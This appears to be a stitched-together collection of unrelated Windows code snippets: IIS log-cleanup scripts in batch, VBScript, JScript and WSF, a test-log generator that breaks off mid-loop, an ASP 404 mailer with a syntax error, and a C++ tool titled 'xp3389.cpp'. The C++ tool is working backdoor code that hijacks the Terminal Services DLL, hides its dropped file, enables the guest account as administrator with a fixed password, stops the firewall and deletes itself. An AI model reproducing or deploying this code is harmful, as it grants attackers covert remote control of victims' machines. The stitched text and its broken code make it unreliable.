@echo off
title Made by www.yongfa365.com
::设置当前日期前多少天或后多少天
set/a beforedays=-3
::设置目录所在位置
set   dir="F:\log\"
::当前日期转换为天数并进行计算
call :Date2Day %date:~0,10% days
set/a days=%days%%beforedays%
call :Day2Date %days% lastdate
::计算完毕,生成想要的字符组合
set okstr=ex%lastdate:~2,6%.log
::删除这些文件
del del /f /s /q %dir%\%okstr%

cmd /k

:Date2Day
setlocal ENABLEEXTENSIONS
for /f "tokens=1-3 delims=/-, " %%a in ('echo/%1') do (
set yy=%%a & set mm=%%b & set dd=%%c
)
set /a dd=100%dd%%%100,mm=100%mm%%%100
set /a z=14-mm,z/=12,y=yy+4800-z,m=mm+12*z-3,j=153*m+2
set /a j=j/5+dd+y*365+y/4-y/100+y/400-2472633
endlocal&set %2=%j%&goto :EOF

:Day2Date
setlocal ENABLEEXTENSIONS
set /a i=%1,a=i+2472632,b=4*a+3,b/=146097,c=-b*146097,c/=4,c+=a
set /a d=4*c+3,d/=1461,e=-1461*d,e/=4,e+=c,m=5*e+2,m/=153,dd=153*m+2,dd/=5
set /a dd=-dd+e+1,mm=-m/10,mm*=12,mm+=m+3,yy=b*100+d-4800+m/10
(if %mm% LSS 10 set mm=0%mm%)&(if %dd% LSS 10 set dd=0%dd%)
endlocal&set %2=%yy%%mm%%dd%&goto :EOF

'IIS日志清理VBS版代码(DelIISLog.vbs)  Made by www.yongfa365.com
'调用方法：DelIISLog "IIS日志所在路径",保留多少天的IIS日志
'遍历IIS日志文件夹下的所有文件及子文件夹下的文件
Function DelIISLog(IISLogPath,KeepDays)
on error resume next
    Set oFso = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFso.GetFolder(IISLogPath)
    Set oSubFolders = oFolder.SubFolders  '得到该目录下所有的文件夹的集合
    Set oFiles = oFolder.Files '得到该目录下所有的文件的集合
    '第一步处理当前目录下的所有文件
    For Each oFile In oFiles '遍历所有文件
        if right(oFile.name,3)="log" then
          oDate=cdate("20" & mid(oFile.name,3,2) & "-" & mid(oFile.name,5,2) & "-" & mid(oFile.name,7,2))
          if date-oDate > KeepDays then oFile.delete '判断是不是要处理的IIS日志文件，如果是的话直接删除
        end if
    Next
    '第二步处理当前目录下的所有目录，进行递归调用
    For Each oSubFolder In oSubFolders
        DelIISLog oSubFolder.Path,KeepDays '递归
    Next
End Function
DelIISLog "D:\IISLogTest",20 '遍历

//IIS日志清理JS版代码(DelIISLog.js)  Made by www.yongfa365.com
//调用方法：DelIISLog("IIS日志所在路径",保留多少天的IIS日志);
//遍历IIS日志文件夹下的所有文件及子文件夹下的文件
function DelIISLog(IISLogPath,KeepDays){
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  var f = fso.GetFolder(IISLogPath);
  var Folders = new Enumerator(f.SubFolders); //得到该目录下所有的文件夹的集合
  var Files = new Enumerator(f.Files); //得到该目录下所有的文件的集合
  //第一步处理当前目录下的所有文件
  for (; !Files.atEnd(); Files.moveNext()) {
      var fileName = Files.item().name;
      var year = "20" + fileName.substr(2, 2);
      var mouth = fileName.substr(4, 2);
      var day = fileName.substr(6, 2);
      var days = Math.round(((new Date()).getTime() - Date.UTC(year, mouth - 1, day)) / 1000 / 60 / 60 / 24);
      if (days > KeepDays) Files.item().Delete(); //判断是不是要处理的IIS日志文件，如果是的话直接删除
  }
  //第二步处理当前目录下的所有目录，进行递归调用
  for (; !Folders.atEnd(); Folders.moveNext()) {
    DelIISLog(Folders.item(),KeepDays);
  }
}
//调用函数，比如："F:\\log",5  或 "C:\\windows\\system32\\LogFiles",5
DelIISLog("D:\\IISLogTest",2);

<job id="IIS日志清理WSH版代码(DelIISLog.wsf) Made by www.yongfa365.com">
  <script language="vbscript">
    '作者：柳永法(yongfa365)'Blog
    '修改：2007-11-15
    '操作说明：此文件只能清除一天的日志，得使用计划任务让其每天执行一次，因为服务器上一般都禁用WScript.Shell,所以不推荐使用
    Function DelIISLog(IISLogPath,beforedays)
      d=Now-beforedays
      If Right(IISLogPath,1) <> "\" Then IISLogPath=IISLogPath & "\"
      p= IISLogPath & "ex" & Right(Year(d),2) & Right("0" & Month(d),2)  & Right("0" & Day(d),2)  & ".Log"
      Set WshShell = WScript.CreateObject("WScript.Shell")
      wscript.echo p
      WshShell.Run ("cmd.exe /c del /s " & p)
      Set WshShell = Nothing
    End Function

    DelIISLog "D:\IISLogTest",2
  </script>
</job>

'IIS日志清理之IIS日志生成系统(CreateIISLog.vbs)  Made by www.yongfa365.com
'创建文件夹
Function CreateFolder(Folder)
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.CreateFolder(Folder)
    If Err>0 Then
        Err.Clear
        CreateFolder = False
    Else
        CreateFolder = True
    End If
End Function
'创建文件
Function CreateFile(FileName, Content)
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set fd = FSO.CreateTextFile(FileName, True)
    fd.WriteLine Content
    If Err>0 Then
        Err.Clear
        CreateFile = False
    Else
        CreateFile = True
    End If
End Function

CreateFolder "D:\IISLogTest"
CreateFolder "D:\IISLogTest\IISLogs001"
CreateFolder "D:\IISLogTest\IISLogs002"
CreateFolder "D:\IISLogTest\IISLogs003"
for i=1 to 30
  d=date-i
  filename="ex" & right(year(d),2) & right("0" & month(d),2) & right("0" & day(d),2) & ".log"
  CreateFile "D:\IISLogTest\" & filename,Content
  CreateFile "D:\IISLogTest\IISLogs001\" & filename,Content
  CreateFile "D:\IISLogTest\IISLogs002\" & filename,Content
  CreateFile "D:\IISLogTest\IISLogs003\" & filename,Content

// xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer
//
#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
#include "stdafx.h"
#include "resource.h"
#include
#include
DWORD
GetProcessId(LPCTSTR szProcName)
{
PROCESSENTRY32 pe;
DWORD dwPid;
DWORD dwRet;
BOOL bFound = FALSE;

HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSP)
{
  pe.dwSize = sizeof( pe );

  for (dwRet = Process32First(hSP, &pe);
  dwRet;
  dwRet = Process32Next(hSP, &pe))
  {
   if (lstrcmpi( szProcName, pe.szExeFile) == 0)
   {
    dwPid = pe.th32ProcessID;
    bFound = TRUE;
    break;
   }
  }
  CloseHandle(hSP);

  if (bFound == TRUE)
  {
   return dwPid;
  }
}
return NULL;
}

bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
if (!IsWindowVisible(hwnd))
  return true;

DWORD dwWindowThreadId = NULL;
DWORD  dwLsassId = (DWORD)lParam;
GetWindowThreadProcessId(hwnd, &dwWindowThreadId);
if (dwWindowThreadId == (DWORD)lParam)
{
  // 关闭指定进程的窗口
  SendMessage(hwnd, WM_CLOSE, 0, 0);
}
return true;
}
// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114
int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)
{
HKEY  hKey;
DWORD dwDisposition;
int   iResult =0;

__try
{
  // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
  switch(Mode)
  {
  case 0:
   if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
    __leave;
  case 1:
   if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
    __leave;
   switch(Type)
   {
   case REG_SZ:
   case REG_EXPAND_SZ:
    if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
     iResult =1;
    break;
   case REG_DWORD:
                if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
     iResult =1;
    break;
   case REG_BINARY:
    break;
   }
   break;
   case 2:
    if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
     __leave;
    if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
     iResult =1;
    break;
   case 3:
    if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
     __leave;
    if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
     iResult =1;
    break;
  }
}
__finally
{
  RegCloseKey(MainKey);
  RegCloseKey(hKey);
}
return iResult;
}
bool DebugPrivilege(const char *PName, BOOL bEnable)
{
BOOL              bResult = TRUE;
HANDLE            hToken;
TOKEN_PRIVILEGES  TokenPrivileges;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
  bResult = FALSE;
  return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;

LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    if (GetLastError() != ERROR_SUCCESS)
{
  bResult = FALSE;
}

CloseHandle(hToken);
return bResult;
}
bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle)
{
HANDLE hRemoteThread;
HANDLE hProcess;

if (hModuleHandle == NULL)
  return false;
hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);
if (hProcess == NULL)
  return false;

HMODULE hModule=::GetModuleHandle(”kernel32.dll”);
LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, “FreeLibrary”);
hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL);

if(hRemoteThread==NULL)
{
  ::CloseHandle(hProcess);
  return false;
}
::WaitForSingleObject(hRemoteThread,INFINITE);
::CloseHandle(hProcess);
::CloseHandle(hRemoteThread);
return true;
}
HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath)
{
HANDLE hModuleHandle = NULL;
MODULEENTRY32 me32={0};
HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);
me32.dwSize=sizeof(MODULEENTRY32);
if(::Module32First(hModuleSnap, &me32))
{
  do
  {
   if (!lstrcmpi(me32.szExePath, lpModulePath))
   {
    hModuleHandle = me32.hModule;
    break;
   }
  }while(::Module32Next(hModuleSnap,&me32));
}
::CloseHandle(hModuleSnap);
return hModuleHandle;
}
bool UnloadModule(LPCTSTR lpModulePath)
{
BOOL bRet = false;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//查找相关的进程
if(::Process32First(hProcessSnap, &pe32))
{
  do
  {
   HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath);
   if (hModuleHandle != NULL)
   {
    bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle);
   }
  }while (Process32Next(hProcessSnap,&pe32));
}
CloseHandle(hProcessSnap);
return bRet;
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
  SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
  if ( NULL != hService )
  {
   StartService(hService, 0, NULL);
   CloseServiceHandle( hService );
  }
  CloseServiceHandle( hSCManager );
}
}
BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes;

hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
  return FALSE;
hRes = LoadResource(NULL, hResInfo);
if (hRes == NULL)
  return FALSE;
hFile = CreateFile
  (
  lpFileName,
  GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  CREATE_ALWAYS,
  FILE_ATTRIBUTE_NORMAL,
  NULL
  );
if (hFile == NULL)
  return FALSE;
WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);

return TRUE;
}
void SetReg()
{
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService”,”Start”,REG_DWORD,NULL,2,0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon”, “KeepRASConnections”, REG_SZ, “1″, 0, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server”, “fDenyTSConnections”, REG_DWORD, NULL, 0, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core”, “EnableConcurrentSessions”,
  REG_DWORD, NULL, 1, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters”, “ServiceDll”, REG_EXPAND_SZ,
  “%SystemRoot%\\system32\\termsrvhack.dll”, 0, 0);
}
void ReleaseDll()
{
char strSystemPath[MAX_PATH];
char strDllcachePath[MAX_PATH];
GetSystemDirectory(strSystemPath, sizeof(strSystemPath));
GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));
lstrcat(strSystemPath, “\\termsrvhack.dll”);
lstrcat(strDllcachePath, “\\dllcache\\termsrvhack.dll”);
ReleaseResource(IDR_DLL, “BIN”, strSystemPath);
ReleaseResource(IDR_DLL, “BIN”, strDllcachePath);
SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
}
bool IsOSXP()
{
OSVERSIONINFOEX OsVerInfoEx;
OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型
return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;
}
void HijackService()
{
char strDll[MAX_PATH];
GetSystemDirectory(strDll, sizeof(strDll));
lstrcat(strDll, “\\termsrv.dll”);
// 释放termsrvhack.dll
ReleaseDll();

// 遍历进程卸载现在加载的DLL
DebugPrivilege(SE_DEBUG_NAME, TRUE);
if (!UnloadModule(strDll))
  return;
DebugPrivilege(SE_DEBUG_NAME, FALSE);

// 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框
// 对进程赋予关闭权限
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
DWORD dwLsassId = GetProcessId(”csrss.exe”);
while (!AbortSystemShutdown(NULL))
{
  // 一些系统是会弹出drwtsn32.exe
  DWORD dwDrwtsn32Id = GetProcessId(”drwtsn32.exe”);
  if (dwDrwtsn32Id != NULL)
  {
   EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);
  }
  // 模块强制卸载时会出错，关闭csrss.exe进程弹出的出错窗口
  EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);
  Sleep(10);
}
DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);
}
int WINAPI WinMain(
       HINSTANCE hInstance,      // handle to current instance
       HINSTANCE hPrevInstance,  // handle to previous instance
       LPSTR lpCmdLine,          // command line
       int nCmdShow              // show state
       )
{
// 一些注册表的操作
SetReg();
if (IsOSXP())
{
  // 替换DLL
  HijackService();
}
// 开始终端服务
StartService(”TermService”);
// 激活guest,加管理员组，自删除，停止XP自带的防火墙，并删除它
char strCommand[1024];
char strSelf[MAX_PATH];
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
wsprintf(strCommand, “cmd.exe /c net user guest /active:yes && net user guest cooldiyer && net localgroup administrators guest /add && net stop SharedAccess /y && del \”%s\” && sc delete SharedAccess”, strSelf);
WinExec(strCommand, SW_HIDE);
return 0;
}

<%@language="vbscript" %>
<%Option Explicit %>
<%
    Dim strPage, strReferer, strMessage
    Dim objSMTP
    ' Log the offending page
    strPage = Request.ServerVariables("HTTP_URL")
    ' Log the referer
    strReferer = Request.ServerVariables("HTTP_REFERER")
    ' Set up the email component
    Set objSMTP = Server.CreateObject("JMail.Message")
    objSMTP.From = "you@yourdomain.com"
    objSMTP.FromName = "Your Domain"
    objSMTP.Subject = "404 Error Logged"
    objSMTP.AddRecipient("you@yourdomain.com")
    ' Write the message
    strMessage = "Requested page: " & strPage & vbCrLf & vbCrLf
    If strReferer <> "" Then
        strMessage = strMessage & "Referer: " & strReferer
    Else
        strMessage = strMessage "The visitor typed the address in"
    End If
    objSMTP.Body = strMessage
    ' Send the message
    objSMTP.Send("mail.163.com")
    ' Tidy up
    objSMTP.ClearRecipients
    objSMTP.Close()
    Set objSMTP = Nothing
%>